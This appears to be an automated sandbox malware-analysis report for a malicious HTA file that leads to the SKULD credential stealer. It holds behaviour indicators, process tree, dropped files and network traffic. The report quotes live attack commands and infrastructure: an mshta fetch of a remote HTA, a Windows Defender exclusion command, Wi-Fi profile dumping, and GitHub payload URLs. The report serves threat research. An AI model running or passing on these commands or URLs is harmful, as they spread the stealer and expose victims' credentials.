| download: | /gate.hta |
| Full analysis: | https://app.any.run/tasks/945c65bf-3bfb-4da4-8a0c-d0bd80f0ebd8 |
| Verdict: | Malicious activity |
| Threats: | Stealers are a group of malicious software that are intended for gaining unauthorized access to users’ information and transferring it to the attacker. The stealer malware category includes various types of programs that focus on their particular kind of data, including files, passwords, and cryptocurrency. Stealers are capable of spying on their targets by recording their keystrokes and taking screenshots. This type of malware is primarily distributed as part of phishing campaigns. |
| Analysis date: | April 17, 2026, 00:18:54 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/html |
| File info: | HTML document, ASCII text |
| MD5: | 7A4970BE24C5B2BFE12808E3103465E8 |
| SHA1: | 0D006CDA450B4F57E92EA4ADED3B99C63508F14D |
| SHA256: | 67593E9EEF29486F46E47F4C6A849F037D01E097CC62B0DCD55B2F902DCFA326 |
| SSDEEP: | 24:EUJck9UKKqJsMIo7rMMGjl9KK6szmjr+GN9/drWh8AMw3hpCWlSAE2HmCMDkp:k4l7rfS4Bv/9Jrm36Wkn2Hmgp |
MALICIOUS
Gets TEMP folder path (SCRIPT)
- mshta.exe (PID: 2432)
Accesses environment variables (SCRIPT)
- mshta.exe (PID: 2432)
Downloads files via BITSADMIN.EXE
- mshta.exe (PID: 2432)
Known privilege escalation attack
- dllhost.exe (PID: 7612)
Changes Windows Defender settings
- wscript.exe (PID: 7996)
Adds path to the Windows Defender exclusion list
- wscript.exe (PID: 7996)
Uses Task Scheduler to run other applications
- cmd.exe (PID: 6432)
Steals credentials from Web Browsers
- searchHost.bin (PID: 2436)
Actions looks like stealing of personal data
- searchHost.bin (PID: 2436)
SKULD has been detected
- searchHost.bin (PID: 2436)
SUSPICIOUS
Starts MSHTA.EXE for opening HTA or HTMLS files
- mshta.exe (PID: 2432)
Creates FileSystem object to access computer's file system (SCRIPT)
- mshta.exe (PID: 2432)
- wscript.exe (PID: 7996)
Writes binary data to a Stream object (SCRIPT)
- mshta.exe (PID: 2432)
Runs shell command (SCRIPT)
- mshta.exe (PID: 2432)
- wscript.exe (PID: 7996)
Creates an object to access WMI (SCRIPT)
- mshta.exe (PID: 2432)
Bypass execution policy to execute commands
- powershell.exe (PID: 7244)
Gets file extension (POWERSHELL)
- powershell.exe (PID: 7244)
Starts CMD.EXE for commands execution
- cmd.exe (PID: 3140)
- cmd.exe (PID: 7200)
- cmd.exe (PID: 6432)
Uses WMI to retrieve WMI-managed resources (SCRIPT)
- mshta.exe (PID: 2432)
Executed via WMI
- powershell.exe (PID: 7244)
Accesses current user name via WMI (SCRIPT)
- wscript.exe (PID: 7996)
Executable content was dropped or overwritten
- powershell.exe (PID: 7244)
- sync.exe (PID: 7880)
Starts application with an unusual extension
- sync.exe (PID: 7880)
Possible stealing of messenger data
- searchHost.bin (PID: 2436)
Starts POWERSHELL.EXE for commands execution
- wscript.exe (PID: 7996)
Creates scheduled task with highest privileges
- cmd.exe (PID: 6432)
- schtasks.exe (PID: 6988)
Adds exclusion path to Windows Defender (POWERSHELL)
- wscript.exe (PID: 7996)
Possible stealing from crypto wallets
- searchHost.bin (PID: 2436)
Uses WMIC.EXE to obtain operating system information
- searchHost.bin (PID: 2436)
Possible stealing of email data
- searchHost.bin (PID: 2436)
Accesses operating system name via WMI (SCRIPT)
- WMIC.exe (PID: 2832)
Uses WMIC.EXE to obtain CPU information
- searchHost.bin (PID: 2436)
Checks for external IP
- svchost.exe (PID: 2232)
Accesses product unique identifier via WMI (SCRIPT)
- WMIC.exe (PID: 6576)
Uses NETSH.EXE to obtain data on the network
- searchHost.bin (PID: 2436)
Executes application which crashes
- msedge.exe (PID: 2528)
- chrome.exe (PID: 2676)
Accesses video controller name via WMI (SCRIPT)
- WMIC.exe (PID: 7872)
Uses WMIC.EXE to obtain a list of video controllers
- searchHost.bin (PID: 2436)
Uses WMIC.EXE to obtain Windows Installer data
- searchHost.bin (PID: 2436)
INFO
Reads Internet Explorer settings
- mshta.exe (PID: 2432)
The sample compiled with english language support
- powershell.exe (PID: 7244)
Checks supported languages
- sync.exe (PID: 7880)
- searchHost.bin (PID: 2436)
- SDXhelper.exe (PID: 1152)
Reads the computer name
- sync.exe (PID: 7880)
- searchHost.bin (PID: 2436)
- SDXhelper.exe (PID: 1152)
Reads the machine GUID from the registry
- sync.exe (PID: 7880)
- searchHost.bin (PID: 2436)
Creates files or folders in the user directory
- sync.exe (PID: 7880)
- WerFault.exe (PID: 7512)
- WerFault.exe (PID: 3200)
Checks transactions between databases Windows and Oracle
- sync.exe (PID: 7880)
Reads security settings of Internet Explorer
- dllhost.exe (PID: 7612)
- WMIC.exe (PID: 2832)
- WMIC.exe (PID: 7624)
- WMIC.exe (PID: 6576)
- WMIC.exe (PID: 7872)
Checks whether the specified file exists (POWERSHELL)
- powershell.exe (PID: 7244)
Checks if a key exists in the options dictionary (POWERSHELL)
- powershell.exe (PID: 7244)
- powershell.exe (PID: 2324)
Using PowerShell for ZIP File Operations
- powershell.exe (PID: 7244)
Launching a file from Task Scheduler
- cmd.exe (PID: 6432)
Script raised an exception (POWERSHELL)
- powershell.exe (PID: 2324)
There is functionality for taking screenshot (YARA)
- sync.exe (PID: 7880)
Create files in a temporary directory
- searchHost.bin (PID: 2436)
Drops encrypted JS script (Microsoft Script Encoder)
- searchHost.bin (PID: 2436)
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TRiD
| .html | | | HyperText Markup Language (100) |
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Total processes
167
Monitored processes
35
Malicious processes
7
Suspicious processes
1
Behavior graph
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Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 508 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 1108 | bcdedit | C:\Windows\System32\bcdedit.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Boot Configuration Data Editor Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 1152 | C:\Users\admin\AppData\Local\Service\SDXhelper.exe | C:\Users\admin\AppData\Local\Service\SDXhelper.exe | sync.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
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| 2120 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | WMIC.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 2232 | C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s Dnscache | C:\Windows\System32\svchost.exe | services.exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Host Process for Windows Services Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 2316 | netsh wlan show profiles | C:\Windows\System32\netsh.exe | — | searchHost.bin | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Network Command Shell Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 2324 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath 'C:\users\admin' | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | wscript.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 2368 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 2392 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | bitsadmin.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 2432 | "C:\Windows\System32\mshta.exe" https://guildlock.net/gate.hta #ID=15364473672 | C:\Windows\System32\mshta.exe | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft (R) HTML Application host Exit code: 3221225547 Version: 11.00.19041.1 (WinBuild.160101.0800) Modules
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Total events
30 393
Read events
30 387
Write events
6
Delete events
0
Modification events
| (PID) Process: | (2432) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content |
| Operation: | write | Name: | CachePrefix |
Value: | |||
| (PID) Process: | (2432) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies |
| Operation: | write | Name: | CachePrefix |
Value: Cookie: | |||
| (PID) Process: | (2432) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History |
| Operation: | write | Name: | CachePrefix |
Value: Visited: | |||
| (PID) Process: | (7612) dllhost.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\3d\52C64B7E |
| Operation: | write | Name: | @%SystemRoot%\system32\cmlua.dll,-100 |
Value: Connection Manager | |||
| (PID) Process: | (7612) dllhost.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer |
| Operation: | write | Name: | SlowContextMenuEntries |
Value: 6024B221EA3A6910A2DC08002B30309D0A010000BD0E0C47735D584D9CEDE91E22E23282770100000114020000000000C0000000000000468D0000006078A409B011A54DAFA526D86198A780390100009AD298B2EDA6DE11BA8CA68E55D895936E000000 | |||
| (PID) Process: | (7200) cmd.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.vbs\OpenWithProgids |
| Operation: | write | Name: | VBSFile |
Value: | |||
Executable files
17
Suspicious files
15
Text files
19
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2432 | mshta.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 | binary | |
MD5:7F924EAEA21BB91214FF7B4525F3BD29 | SHA256:E718475014C8F51A8F2746FBE90A7BFF516B65BEF36EE6340A5FC746BC5DFC32 | |||
| 2432 | mshta.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1DCA703036AE86250D5D947BE7ECA910 | binary | |
MD5:764FBCA0040CAFEFEFDEC7DC422D5923 | SHA256:3818501BAFB7335FF921A41EDDB55255493B962C05731470B0ED800B66F15FF4 | |||
| 2432 | mshta.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\RR3E01RZ\gate[1].hta | html | |
MD5:7A4970BE24C5B2BFE12808E3103465E8 | SHA256:67593E9EEF29486F46E47F4C6A849F037D01E097CC62B0DCD55B2F902DCFA326 | |||
| 7244 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_01pnqgvu.5hh.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 2432 | mshta.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1DCA703036AE86250D5D947BE7ECA910 | binary | |
MD5:61134572E3217FF181F4C38DD36EC97C | SHA256:9442AB2E6DA97684F28490697DB8DAC88C9264B323345D5B1B7A6C573A1C9089 | |||
| 2432 | mshta.exe | C:\Users\admin\AppData\Local\Temp\output1.txt | text | |
MD5:46787AA77B6A8291BD04A6F794744C92 | SHA256:39FDA17B5EB8A26353406EBD428ECBEC4B5BFAD97E7B6AD5D30D67AECBF8EAE4 | |||
| 7244 | powershell.exe | C:\Users\admin\AppData\Local\Temp\extracted\liblzma.dll | executable | |
MD5:88B0CDB33655CB58D448EFD5D4E9FD6D | SHA256:C812CA5E53C2B771D806C28561AFEF1B227B04F9B31DB306CACAA8BD5FB5ECFD | |||
| 7244 | powershell.exe | C:\Users\admin\AppData\Local\Temp\extracted\check.vbs | text | |
MD5:E59B162F5D3C56FC733A260B6B900426 | SHA256:AE0F0A6B2EFF5009B798C587113870D511440642AB91DD1FC28F6F002CBCF84D | |||
| 7244 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_rdyyw4zc.txw.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 7244 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_3nucij2c.12p.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
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HTTP(S) requests
43
TCP/UDP connections
37
DNS requests
28
Threats
29
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
7160 | svchost.exe | HEAD | 200 | 185.199.108.133:443 | https://raw.githubusercontent.com/ManakJ/dgrrdg/refs/heads/main/help | US | — | — | whitelisted |
6260 | svchost.exe | GET | 304 | 40.127.240.158:443 | https://settings-win.data.microsoft.com/settings/v3.0/WSD/UpdateHealthTools?os=Windows&osVer=10.0.19041.1.amd64fre.vb_release.191206-&sku=48&deviceClass=Windows.Desktop&locale=en-US&deviceId=s:BAD99146-31D3-4EC6-A1A4-BE76F32BA5D4&sampleId=s:95271487&appVer=10.0.19041.3626&FlightRing=Retail&TelemetryLevel=1&HidOverGattReg=C%3A%5CWINDOWS%5CSystem32%5CDriverStore%5CFileRepository%5Chidbthle.inf_amd64_9610b4821fdf82a5%5CMicrosoft.Bluetooth.Profiles.HidOverGatt.dll&AppVer=&ProcessorIdentifier=AMD64%20Family%2023%20Model%201%20Stepping%202&OEMModel=DELL&UpdateOfferedDays=4294967295&ProcessorManufacturer=AuthenticAMD&InstallDate=1661339444&OEMModelBaseBoard=&BranchReadinessLevel=CB&OEMSubModel=J5CR&IsCloudDomainJoined=0&DeferFeatureUpdatePeriodInDays=30&IsDeviceRetailDemo=0&FlightingBranchName=&OSUILocale=en-US&DeviceFamily=Windows.Desktop&WuClientVer=10.0.19041.3996&UninstallActive=1&IsFlightingEnabled=0&OSSkuId=48&ProcessorClockSpeed=3094&TotalPhysicalRAM=6144&SecureBootCapable=0&App=SedimentPack&ProcessorCores=6&CurrentBranch=vb_release&InstallLanguage=en-US&DeferQualityUpdatePeriodInDays=0&OEMName_Uncleaned=DELL&TPMVersion=0&PrimaryDiskTotalCapacity=262144&InstallationType=Client&AttrDataVer=186&ProcessorModel=AMD%20Ryzen%205%203500%206-Core%20Processor&IsEdgeWithChromiumInstalled=1&OSVersion=10.0.19045.4046&IsMDMEnrolled=0&ActivationChannel=Retail&FirmwareVersion=A.40&TrendInstalledKey=1&OSArchitecture=AMD64&DefaultUserRegion=244&UpdateManagementGroup=2 | US | — | — | whitelisted |
7244 | powershell.exe | GET | 302 | 140.82.121.3:443 | https://github.com/ManakJ/dgrrdg/raw/refs/heads/main/sync.zip | US | — | — | whitelisted |
7408 | SIHClient.exe | GET | 304 | 74.178.240.61:443 | https://slscr.update.microsoft.com/SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.4046/0?CH=686&L=en-US&P=&PT=0x30&WUA=10.0.19041.3996&MK=DELL&MD=DELL | US | — | — | whitelisted |
7408 | SIHClient.exe | GET | 200 | 135.232.92.97:443 | https://fe3cr.delivery.mp.microsoft.com/clientwebservice/ping | US | — | — | whitelisted |
7408 | SIHClient.exe | GET | 200 | 74.178.240.61:443 | https://slscr.update.microsoft.com/sls/ping | US | — | — | whitelisted |
7408 | SIHClient.exe | GET | 304 | 74.178.240.61:443 | https://slscr.update.microsoft.com/SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.4046/0?CH=686&L=en-US&P=&PT=0x30&WUA=10.0.19041.3996&MK=DELL&MD=DELL | US | — | — | whitelisted |
5276 | MoUsoCoreWorker.exe | GET | 200 | 88.221.169.152:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | US | binary | 814 b | whitelisted |
5276 | MoUsoCoreWorker.exe | GET | 200 | 23.32.238.112:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | NL | binary | 825 b | whitelisted |
2432 | mshta.exe | GET | 200 | 104.18.20.213:80 | http://e8.c.lencr.org/94.crl | US | binary | 56.2 Kb | whitelisted |
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Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | Not routed | — | whitelisted |
6260 | svchost.exe | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
— | — | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
5276 | MoUsoCoreWorker.exe | 23.32.238.112:80 | crl.microsoft.com | AKAMAI-ASN1 | NL | whitelisted |
5276 | MoUsoCoreWorker.exe | 88.221.169.152:80 | www.microsoft.com | AKAMAI-AS | US | whitelisted |
— | — | 48.192.1.64:443 | activation-v2.sls.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
4 | System | 192.168.100.255:138 | — | Not routed | — | whitelisted |
2432 | mshta.exe | 104.21.7.199:443 | guildlock.net | CLOUDFLARENET | US | whitelisted |
2432 | mshta.exe | 104.18.20.213:80 | e8.c.lencr.org | CLOUDFLARENET | US | whitelisted |
3148 | svchost.exe | 239.255.255.250:1900 | — | — | — | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
activation-v2.sls.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
guildlock.net |
| unknown |
e8.c.lencr.org |
| whitelisted |
raw.githubusercontent.com |
| whitelisted |
github.com |
| whitelisted |
guildsecure.com |
| unknown |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2432 | mshta.exe | Potentially Bad Traffic | ET INFO Possible HTA Application Download |
2432 | mshta.exe | Misc activity | ET INFO Observed UA-CPU Header |
2432 | mshta.exe | Attempted User Privilege Gain | ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl |
2232 | svchost.exe | Not Suspicious Traffic | INFO [ANY.RUN] Attempting to access raw user content on GitHub |
6260 | svchost.exe | Unknown Traffic | ET USER_AGENTS Microsoft Dr Watson User-Agent (MSDW) |
7244 | powershell.exe | Not Suspicious Traffic | ET INFO Windows Powershell User-Agent Usage |
7244 | powershell.exe | Not Suspicious Traffic | ET INFO Windows Powershell User-Agent Usage |
7880 | sync.exe | Potentially Bad Traffic | ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile |
7880 | sync.exe | Potentially Bad Traffic | ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile |
7880 | sync.exe | Potentially Bad Traffic | ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile |